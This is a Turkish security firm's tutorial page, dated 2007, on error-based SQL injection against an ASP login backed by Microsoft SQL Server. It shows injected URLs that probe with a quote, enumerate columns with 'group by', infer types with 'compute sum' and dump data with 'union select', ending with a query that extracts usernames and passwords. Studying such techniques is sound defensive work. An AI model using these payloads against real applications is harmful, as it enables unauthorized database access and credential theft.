Anasayfa
Hizmetler
cozumler
egitim
Guvenlik Kaynaklari
referanslar
Hakkimizda

Güvenlik Kaynakları

Türkçe | English

Tarih: 3 Nisan 2007

SQL Injection web uygulama güvenliğini tehdit eden en önemli problemlerden biridir. Genellikle uygulama parametrelerine yollanan girdilerin yeterli filtrelemeye tabi tutulmadan kullanılması nedeniyle ortaya çıkmaktadır. Uygulama parametrelerine yollanan özel istekler sonucu elde edilen hata mesajları sayesinde SQL Injection kullanılarak veritabanı yapısının öğrenilmesi veya değiştirilmesi mümkün olabilir. Bu yazıda arka planda Microsoft SQL sunucu kullanılan bir uygulamada ODBC hata mesajlarından yararlanılarak nasıl SQL Injection gerçekleştirilebileceği anlatılmaya çalışılmıştır.

Uygulamanın SQL Injection açığından etkilenip etkilenmediğini anlamak için kullanılan en yaygın ve basit yöntemlerden biri mevcut parametere değerine ' (%27 - tırnak) işareti eklemektir.

http://www.site.com/login.asp?userid=aaa'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string 'aaa' AND password = ''.
/login.asp, line 7

Alınan hata mesajlarından SQL Injection yapılabileceği ve veri tabanının ilgili tablosunda password isimli bir alan olduğu anlaşılmaktadır. Elde edilen bu bilgiden yararlanılarak aşağıdaki gibi yeni bir istek yollanabilir.

http://www.site.com/login.asp?userid=ddd' group by (password)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 7

Hata mesajlarına bakıldığında ilgili tablo isminin tblUsers olduğu ve username isimli başka bir alan olduğu da görülmektedir. Yollayacağımız veriyi bu yeni bilgilere göre düzenleyip aşağıdaki gibi bir istek yollayabiliriz.

http://www.site.com/login.asp?userid=aaa' group by (username)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.lastloggedin' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 7

Bu hata mesajı da kullanılan tabloda lastloggedin isimli alanın olduğunu göstermektedir. Bu şekilde group by sql ifadesi içine yeni tespit edilen alan bilgileri girilerek, tabloda kullanılan tüm alanlar tespit edilebilir. Tespit edilen tüm bu alanlar union select kullanılarak gerçekleştirilebilecek sql injection saldırılarında kullanılabilir.

http://www.site.com/login.asp?userid=aaa' union select username from tblusers--

Union select iki select sql ifadesini birlikte çalıştırmak istenildiği zaman kullanılmaktadır. Union select kullanıldığı zaman ikinci select ifadesinde kullanılan alan (field)  sayısı ile tipi mutlaka ilk select ifadesindeki ile aynı olmalıdır. Eğer alan sayısı veya tipinde bir farklılık var ise aşağıdaki gibi bir hata mesajı oluşacaktır.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/login.asp, line 7

Hata mesajlarının ortadan kalkması ve ikinci select’de yer alan sorgu sonuçlarının görüntülenmesi için alan tipi ve sayısı ilk select ifadesindeki ile aynı olana kadar istekler yollanmalıdır. Union select kullanılarak tablo içeriğine ulaşmak için aynı zamanda uygulamanın veritabanından aldığı kayıtları görüntüleyen bir koda sahip olması gerekmektedir.

http://www.site.com/login.asp?userid=aaa' union select username, username from tblusers--

Alan tiplerinin ne olduğu deneme yanılma yoluyla bulunabileceği gibi, matematiksel fonksiyonlarla da öğrenilebilir. Örneğin sum fonksiyonu string tipindeki değerler için hata verirken, rakamsal değerlerde hata durumu oluşturmayacaktır.

http://www.site.com/login.asp?userid=aaa' compute sum(username)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a nvarchar data type as an argument.
/login.asp, line 7

Hata mesajında username alanının varchar tipinde olduğu görülmektedir. Veri tipleri, alan isimleri ve tablo adları tespit edildikten sonra, ilgili tabloda rahatlıkla select, update ve insert gibi işlemler gerçekleştirilebilecektir.

http://www.site.com/login.asp?userid=aaa' union select username, password, null from tblusers--